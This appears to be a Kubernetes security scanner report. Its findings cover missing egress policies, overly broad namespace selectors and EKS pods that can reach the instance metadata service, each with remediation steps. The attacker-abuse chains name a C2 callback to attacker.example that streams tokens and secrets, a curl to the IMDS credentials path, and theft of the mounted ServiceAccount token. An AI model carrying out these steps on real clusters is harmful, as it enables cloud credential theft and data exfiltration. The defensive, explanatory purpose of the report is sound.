A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker compromises a low-value pod elsewhere in the cluster (CVE in a web app).
  2. They scan the namespace's pod CIDR for reachable services. Other pods in netpol-imds correctly drop unsolicited traffic, except imds-open-app, which is uncovered.
  3. They hit imds-open-app's exposed application port and exploit a known issue, gaining a shell.
  4. From imds-open-app, attacker has unrestricted egress: hits IMDS for cloud IAM credentials, opens C2 to attacker IPs, uses the pod's mounted ServiceAccount token against the API server.
  5. The attacker now has the network position the rest of the namespace's policies were designed to prevent.
Remediation
Either deploy a namespace-wide default-deny baseline in netpol-imds so every new pod is automatically covered, or add an explicit policy whose podSelector matches this workload's labels.
  1. Add a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) in netpol-imds so future pods fail closed.
  2. Write an explicit allow policy whose podSelector matches imds-open-app's labels and lists only the ingress sources and egress destinations it needs.
  3. Validate by re-running this scanner; the workload should now match at least one policy.
  4. Add a CI check (Kyverno's require-matching-network-policy or an OPA constraint) that fails if a new workload is admitted with labels not covered by any existing NetworkPolicy.
Evidence
Labelsapp=imds-open-app
Show raw JSON
{
  "labels": {
    "app": "imds-open-app"
  }
}
MEDIUM

Namespace ingress-only controls ingress but has no Egress policy (one-way enforcement)

KUBE-NETPOL-COVERAGE-003 2 subjects Score 5.8

Affected subjects (2)

MEDIUM Namespace/ingress-only/ingress-only Namespace 5.8
Namespace ingress-only controls ingress but has no Egress policy (one-way enforcement)
Scope · Namespace Namespace ingress-only: pods are firewalled inbound but can reach any outbound destination
Category: Lateral Movement Resource: Namespace/ingress-only/ingress-only Namespace: ingress-only

Namespace ingress-only has NetworkPolicy objects that select pods for ingress filtering but no NetworkPolicy enforces egress. In Kubernetes' policy model, ingress and egress are independent dimensions: a pod is isolated for ingress only if a policy with policyTypes: Ingress selects it, and isolated for egress only if a policy with policyTypes: Egress selects it. A pod can be tightly firewalled inbound and still reach the entire internet outbound, which is exactly the asymmetry seen here.

This is a classic misconfiguration after a half-finished zero-trust migration. Teams typically write ingress policies first because they think of "who can talk to my service," and ship without revisiting outbound. The result looks compliant in dashboards but leaves data exfiltration, cloud IMDS access, and outbound C2 wide open.

The practical risk is that egress is the dimension attackers actually want. Inbound restrictions help against external scanners, but a compromised pod's value to an attacker is in what it can talk *out* to: the cloud control plane via IMDS, attacker-controlled C2, internal databases in other namespaces, and the cluster's kube-apiserver.

Impact Compromised pods in this namespace retain full outbound reach. IMDS credential theft, C2 callbacks, and lateral pivots out of the namespace are unimpeded.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any pod in ingress-only.
  2. They hit IMDS. The namespace has no egress policy, so the request succeeds and node IAM credentials are exfiltrated.
  3. They establish C2 to attacker.example:443 and stream captured tokens, environment variables, and pod-mounted secrets.
  4. They pivot to other namespaces by talking to ClusterIP Services directly. The missing egress policy doesn't restrict cluster-internal destinations either.
  5. They call kube-apiserver with the pod's ServiceAccount token (egress to apiserver also unrestricted), enumerating RBAC for any privesc opportunity.
Remediation
Add a default-deny-egress NetworkPolicy in ingress-only, then explicit per-workload egress allowlists for DNS and actual outbound dependencies.
  1. Apply a default-deny-egress policy in ingress-only targeting podSelector: {} so every pod becomes egress-isolated.
  2. Add an explicit DNS-allow policy (UDP/TCP 53 to kube-system).
  3. For each workload that has legitimate egress, add a tight to: clause (specific Service, namespaceSelector+podSelector, or specific external CIDR; never 0.0.0.0/0).
  4. Validate by kubectl exec into a representative pod and confirming curl --max-time 3 https://example.com/ times out.
  5. Wire CI policy (Kyverno require-policytypes-egress) to fail any future namespace with ingress-only coverage.
Evidence
Namespaceingress-only
Show raw JSON
{
  "namespace": "ingress-only"
}
MEDIUM Namespace/netpol-bridge/netpol-bridge Namespace 5.8
Namespace netpol-bridge controls ingress but has no Egress policy (one-way enforcement)
Scope · Namespace Namespace netpol-bridge: pods are firewalled inbound but can reach any outbound destination
Category: Lateral Movement Resource: Namespace/netpol-bridge/netpol-bridge Namespace: netpol-bridge

Namespace netpol-bridge has NetworkPolicy objects that select pods for ingress filtering but no NetworkPolicy enforces egress. In Kubernetes' policy model, ingress and egress are independent dimensions: a pod is isolated for ingress only if a policy with policyTypes: Ingress selects it, and isolated for egress only if a policy with policyTypes: Egress selects it. A pod can be tightly firewalled inbound and still reach the entire internet outbound, which is exactly the asymmetry seen here.

This is a classic misconfiguration after a half-finished zero-trust migration. Teams typically write ingress policies first because they think of "who can talk to my service," and ship without revisiting outbound. The result looks compliant in dashboards but leaves data exfiltration, cloud IMDS access, and outbound C2 wide open.

The practical risk is that egress is the dimension attackers actually want. Inbound restrictions help against external scanners, but a compromised pod's value to an attacker is in what it can talk *out* to: the cloud control plane via IMDS, attacker-controlled C2, internal databases in other namespaces, and the cluster's kube-apiserver.

Impact Compromised pods in this namespace retain full outbound reach. IMDS credential theft, C2 callbacks, and lateral pivots out of the namespace are unimpeded.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any pod in netpol-bridge.
  2. They hit IMDS. The namespace has no egress policy, so the request succeeds and node IAM credentials are exfiltrated.
  3. They establish C2 to attacker.example:443 and stream captured tokens, environment variables, and pod-mounted secrets.
  4. They pivot to other namespaces by talking to ClusterIP Services directly. The missing egress policy doesn't restrict cluster-internal destinations either.
  5. They call kube-apiserver with the pod's ServiceAccount token (egress to apiserver also unrestricted), enumerating RBAC for any privesc opportunity.
Remediation
Add a default-deny-egress NetworkPolicy in netpol-bridge, then explicit per-workload egress allowlists for DNS and actual outbound dependencies.
  1. Apply a default-deny-egress policy in netpol-bridge targeting podSelector: {} so every pod becomes egress-isolated.
  2. Add an explicit DNS-allow policy (UDP/TCP 53 to kube-system).
  3. For each workload that has legitimate egress, add a tight to: clause (specific Service, namespaceSelector+podSelector, or specific external CIDR; never 0.0.0.0/0).
  4. Validate by kubectl exec into a representative pod and confirming curl --max-time 3 https://example.com/ times out.
  5. Wire CI policy (Kyverno require-policytypes-egress) to fail any future namespace with ingress-only coverage.
Evidence
Namespacenetpol-bridge
Show raw JSON
{
  "namespace": "netpol-bridge"
}
MEDIUM

NetworkPolicy flat-network/allow-broad accepts ingress from any namespace via empty namespaceSelector

KUBE-NETPOL-WEAKNESS-001 1 subject Score 5.5
MITRE ATT&CK: T1046T1018T1090T1078.004

Affected subject

MEDIUM NetworkPolicy/flat-network/allow-broad Object 5.5
NetworkPolicy flat-network/allow-broad accepts ingress from any namespace via empty namespaceSelector
Scope · Object NetworkPolicy flat-network/allow-broad: selected pods are reachable from every namespace, present and future
Category: Lateral Movement Resource: NetworkPolicy/flat-network/allow-broad Namespace: flat-network

NetworkPolicy flat-network/allow-broad contains an ingress from: peer with a namespaceSelector that has no matchLabels and no matchExpressions. In NetworkPolicy semantics this is the special form that means "every namespace in the cluster", which is exactly the opposite of the Kubernetes default for from: peers (which is "only the policy's own namespace").

In multi-tenant or shared clusters the impact is direct: namespace boundaries are the cheapest soft tenancy boundary Kubernetes offers, and namespaceSelector: {} invalidates that boundary for the selected pods. A compromised pod in any tenant (even one with no business need to talk to these pods) has unrestricted access on the allowed ports.

The correct pattern is to scope the namespaceSelector to the specific labels that identify allowed source namespaces (e.g., tenancy.example.com/team: data-platform) and combine it with an explicit podSelector so only the right pods in the right namespaces can connect. Combined selectors mean "pods matching label X in namespaces matching label Y": the AND form, not the OR form.

Impact Selected workloads are reachable from any pod in any namespace on the allowed ports. This defeats namespace-based tenant isolation and invites cross-tenant lateral movement.
How an attacker abuses this
  1. Attacker compromises a low-value pod in some other namespace (CI runner, stale demo, shared sidecar).
  2. They enumerate ClusterIP Services and notice the Service backing allow-broad's pods in flat-network.
  3. They attempt a TCP connect from the other namespace. Under any other policy this would be denied at the CNI, but namespaceSelector: {} matches and the connection succeeds.
  4. They exploit an application-layer issue on the now-reachable port (auth bypass, weak credential, RCE) and pivot into the high-value workload.
  5. They continue lateral motion from inside the target namespace using mounted tokens and secrets.
Remediation
Replace the empty namespaceSelector with explicit labels identifying the small set of namespaces that legitimately need access, paired with a podSelector.
  1. Identify which namespaces actually need to reach the selected pods (often one or two; never "all").
  2. Label those namespaces with a stable, policy-meaningful key (e.g., tenancy.example.com/team: data-platform).
  3. Edit allow-broad to replace namespaceSelector: {} with matchLabels for the chosen label, and add a sibling podSelector.
  4. Validate by attempting connections from a netshoot pod in a non-allowed namespace (must time out) and from an allowed namespace (must succeed).
  5. Add a Kyverno or OPA Gatekeeper rule that warns on any new NetworkPolicy with an empty namespaceSelector peer.
Evidence
Policyallow-broad
Show raw JSON
{
  "policy": "allow-broad"
}
MEDIUM

NetworkPolicy flat-network/allow-broad opens cross-namespace ingress every namespace in the cluster (target flat-network)

KUBE-NETPOL-CROSSNS-001 2 subjects Score 5.4
MITRE ATT&CK: T1046T1018T1090T1078.004

Affected subjects (2)

MEDIUM NetworkPolicy/flat-network/allow-broad Object 5.4
NetworkPolicy flat-network/allow-broad opens cross-namespace ingress every namespace in the cluster (target flat-network)
Scope · Object NetworkPolicy flat-network/allow-broad: cross-namespace ingress from every namespace in the cluster
Category: Lateral Movement Resource: NetworkPolicy/flat-network/allow-broad Namespace: flat-network

NetworkPolicy flat-network/allow-broad declares a peer that crosses a namespace boundary. The ingress rule references every namespace in the cluster, which is a different namespace from the policy's own flat-network and either the source or the target is a *sensitive* namespace (a control-plane namespace such as kube-system, kube-public, or kube-node-lease, the implicit default namespace, or gatekeeper-system).

Namespace boundaries are the cheapest soft-tenancy primitive Kubernetes offers. A cross-namespace allow rule that pierces one of the sensitive namespaces is structurally suspicious because those namespaces tend to host either the cluster control plane (kube-system DaemonSets, the kubelet's apiserver client) or the catch-all destination for workloads that omit metadata.namespace. Tenancy-aware operators want explicit, narrowly-labeled selectors for these edges, not a broad cross-NS allow.

In particular, an *ingress* rule that admits kube-system (or * / every namespace) gives every control-plane pod a path into the selected workload. An *egress* rule that admits traffic back into kube-system lets a compromised pod talk to control-plane services (CoreDNS, kube-proxy sidecars) that may run with elevated privilege or expose admin-only endpoints. The wildcard form (namespaceSelector: {}) is the worst variant: it matches every present and future namespace, so future tenants are silently bridged the moment they are created.

Impact Workloads selected by allow-broad participate in cross-namespace traffic with every namespace in the cluster, bypassing namespace-level isolation between tenants. The blast radius grows when the bridged namespace is a control-plane namespace because the bridge crosses a privilege boundary as well as a tenancy boundary.
How an attacker abuses this
  1. Attacker compromises any pod in every namespace in the cluster (or any namespace, when the source is *).
  2. They open a TCP connection to the pods selected by allow-broad.spec.podSelector in flat-network. The cross-namespace allow rule matches, so the connection succeeds when other tenant pods would be denied.
  3. They exploit an application-layer issue on the now-reachable port (auth bypass, weak credential, RCE) and gain a foothold in flat-network.
  4. From flat-network, they pivot using mounted ServiceAccount tokens, in-namespace secrets, and any further allow rules that originate from this newly-owned pod.
  5. If the bridged namespace was a control-plane namespace, the attacker now has a usable position adjacent to control-plane services and can attempt to enumerate or impersonate the more privileged identities those services run as.
Remediation
Replace the cross-namespace peer with an explicit, narrowly-labeled namespaceSelector and a sibling podSelector that names the small set of pods that legitimately need this traffic, and confirm with the platform team whether the bridge is required at all.
  1. Audit flat-network/allow-broad and confirm whether the cross-namespace allow rule is intentional. Most cross-NS rules touching kube-system / default are leftovers from a debug session.
  2. If the bridge is not intentional, delete the offending peer (kubectl edit netpol).
  3. If the bridge is intentional, label the source namespace with a stable, policy-meaningful key (e.g., tenancy.example.com/role: shared-egress) and switch the peer to matchLabels for that key paired with a podSelector.
  4. Validate from a netshoot pod in flat-network: confirm allowed connections succeed and unrelated namespaces are still denied.
  5. Add a Kyverno or Gatekeeper rule that warns on any new NetworkPolicy whose namespaceSelector matches kube-system / kube-public / default or is empty.
Evidence
direction
"ingress"
policy_name
"allow-broad"
policy_namespace
"flat-network"
source_namespace
"*"
Show raw JSON
{
  "direction": "ingress",
  "policy_name": "allow-broad",
  "policy_namespace": "flat-network",
  "source_namespace": "*",
  "target_namespace": "flat-network"
}
MEDIUM NetworkPolicy/netpol-bridge/allow-kube-system-ingress Object 5.4
NetworkPolicy netpol-bridge/allow-kube-system-ingress opens cross-namespace ingress kube-system (target netpol-bridge)
Scope · Object NetworkPolicy netpol-bridge/allow-kube-system-ingress: cross-namespace ingress from kube-system
Category: Lateral Movement Resource: NetworkPolicy/netpol-bridge/allow-kube-system-ingress Namespace: netpol-bridge

NetworkPolicy netpol-bridge/allow-kube-system-ingress declares a peer that crosses a namespace boundary. The ingress rule references kube-system, which is a different namespace from the policy's own netpol-bridge and either the source or the target is a *sensitive* namespace (a control-plane namespace such as kube-system, kube-public, or kube-node-lease, the implicit default namespace, or gatekeeper-system).

Namespace boundaries are the cheapest soft-tenancy primitive Kubernetes offers. A cross-namespace allow rule that pierces one of the sensitive namespaces is structurally suspicious because those namespaces tend to host either the cluster control plane (kube-system DaemonSets, the kubelet's apiserver client) or the catch-all destination for workloads that omit metadata.namespace. Tenancy-aware operators want explicit, narrowly-labeled selectors for these edges, not a broad cross-NS allow.

In particular, an *ingress* rule that admits kube-system (or * / every namespace) gives every control-plane pod a path into the selected workload. An *egress* rule that admits traffic back into kube-system lets a compromised pod talk to control-plane services (CoreDNS, kube-proxy sidecars) that may run with elevated privilege or expose admin-only endpoints. The wildcard form (namespaceSelector: {}) is the worst variant: it matches every present and future namespace, so future tenants are silently bridged the moment they are created.

Impact Workloads selected by allow-kube-system-ingress participate in cross-namespace traffic with kube-system, bypassing namespace-level isolation between tenants. The blast radius grows when the bridged namespace is a control-plane namespace because the bridge crosses a privilege boundary as well as a tenancy boundary.
How an attacker abuses this
  1. Attacker compromises any pod in kube-system (or any namespace, when the source is *).
  2. They open a TCP connection to the pods selected by allow-kube-system-ingress.spec.podSelector in netpol-bridge. The cross-namespace allow rule matches, so the connection succeeds when other tenant pods would be denied.
  3. They exploit an application-layer issue on the now-reachable port (auth bypass, weak credential, RCE) and gain a foothold in netpol-bridge.
  4. From netpol-bridge, they pivot using mounted ServiceAccount tokens, in-namespace secrets, and any further allow rules that originate from this newly-owned pod.
  5. If the bridged namespace was a control-plane namespace, the attacker now has a usable position adjacent to control-plane services and can attempt to enumerate or impersonate the more privileged identities those services run as.
Remediation
Replace the cross-namespace peer with an explicit, narrowly-labeled namespaceSelector and a sibling podSelector that names the small set of pods that legitimately need this traffic, and confirm with the platform team whether the bridge is required at all.
  1. Audit netpol-bridge/allow-kube-system-ingress and confirm whether the cross-namespace allow rule is intentional. Most cross-NS rules touching kube-system / default are leftovers from a debug session.
  2. If the bridge is not intentional, delete the offending peer (kubectl edit netpol).
  3. If the bridge is intentional, label the source namespace with a stable, policy-meaningful key (e.g., tenancy.example.com/role: shared-egress) and switch the peer to matchLabels for that key paired with a podSelector.
  4. Validate from a netshoot pod in netpol-bridge: confirm allowed connections succeed and unrelated namespaces are still denied.
  5. Add a Kyverno or Gatekeeper rule that warns on any new NetworkPolicy whose namespaceSelector matches kube-system / kube-public / default or is empty.
Evidence
direction
"ingress"
policy_name
"allow-kube-system-ingress"
policy_namespace
"netpol-bridge"
source_namespace
"kube-system"
Show raw JSON
{
  "direction": "ingress",
  "policy_name": "allow-kube-system-ingress",
  "policy_namespace": "netpol-bridge",
  "source_namespace": "kube-system",
  "target_namespace": "netpol-bridge"
}

Cloud

29 findings · 3 rules · 0 critical · 28 high · 0 medium · 1 low
HIGH

Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)

KUBE-CLOUD-IMDS-PIVOT-001 27 subjects Score 10.0
MITRE ATT&CK: T1552.005T1078.004

Affected subjects (27)

HIGH ServiceAccount/local-path-storage/local-path-provisioner-service-account Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/local-path-storage/local-path-provisioner-service-account Resource: Deployment/local-path-storage/local-path-provisioner

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"local-path-storage/local-path-provisioner"
reason
"no-egress-policy"
sa
"local-path-storage/local-path-provisioner-service-account"
workload
"Deployment/local-path-storage/local-path-provisioner"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "local-path-storage/local-path-provisioner",
  "reason": "no-egress-policy",
  "sa": "local-path-storage/local-path-provisioner-service-account",
  "workload": "Deployment/local-path-storage/local-path-provisioner"
}
HIGH ServiceAccount/flat-network/default Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/flat-network/default Resource: Deployment/flat-network/api

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
offenderCIDR
"0.0.0.0/0"
pod
"flat-network/api"
reason
"explicit-allow"
sa
"flat-network/default"
workload
"Deployment/flat-network/api"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "0.0.0.0/0",
  "pod": "flat-network/api",
  "reason": "explicit-allow",
  "sa": "flat-network/default",
  "workload": "Deployment/flat-network/api"
}
HIGH ServiceAccount/lp-fixtures/sa-lp-orphan Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-orphan Resource: Deployment/lp-fixtures/lp-orphan-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"lp-fixtures/lp-orphan-app"
reason
"no-egress-policy"
sa
"lp-fixtures/sa-lp-orphan"
workload
"Deployment/lp-fixtures/lp-orphan-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "lp-fixtures/lp-orphan-app",
  "reason": "no-egress-policy",
  "sa": "lp-fixtures/sa-lp-orphan",
  "workload": "Deployment/lp-fixtures/lp-orphan-app"
}
HIGH ServiceAccount/lp-fixtures/sa-lp-narrow Workload 10.0
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-narrow Resource: Deployment/lp-fixtures/lp-narrow-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

